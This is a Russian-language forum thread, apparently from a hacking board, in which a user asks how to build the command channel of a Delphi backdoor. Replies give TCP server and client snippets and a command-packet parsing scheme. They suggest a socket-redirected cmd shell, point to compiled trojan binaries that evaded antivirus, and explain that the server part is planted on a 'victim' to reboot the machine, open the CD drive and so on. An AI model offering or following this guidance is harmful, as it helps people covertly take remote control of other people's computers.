![]() |
Бекдор. Передача команд
Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды. К примеру: Client: reboot Server получает и идёт выполнение команды ExitWindowsEx(EWX_REBOOT,0); Подскажите как? |
Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
|
мне непонятен именно сам механизм анализа переданной команды сервером
|
Цитата:
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты. |
Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:
Код:
TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрытьКод:
TcpServer1.Active := True; // открывается портКод:
u:=false; //переменной U присваеваем ложьКод:
TcpClient1.RemoteHost := Edit1.Text; // ip сервераКод:
TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х |
Полные исходники:
Нужно Form1 убрать из Avto Create Сервер Код:
program Intersec;Код:
unit Unit1;Код:
unit Unit1;В архиве exe`шники так что может сработать антивирус. Мой NOD32 v3 молчал. |
в примерах от борланда вроде была работа с сокетами на станд.компонентах ....
|
o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее. А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно типа такой пакет строй:CMD_ID_1#CMD_ID_2# другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа # А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов ) Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048 |
Цитата:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример: Сервер - открываем порт и ждем подключения Кслиент- конектимся на порт Клиент - отправляем строку текста "open" на сервер Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром) и т.д пока не будет получена команда на дисконект |
| Время: 03:09 |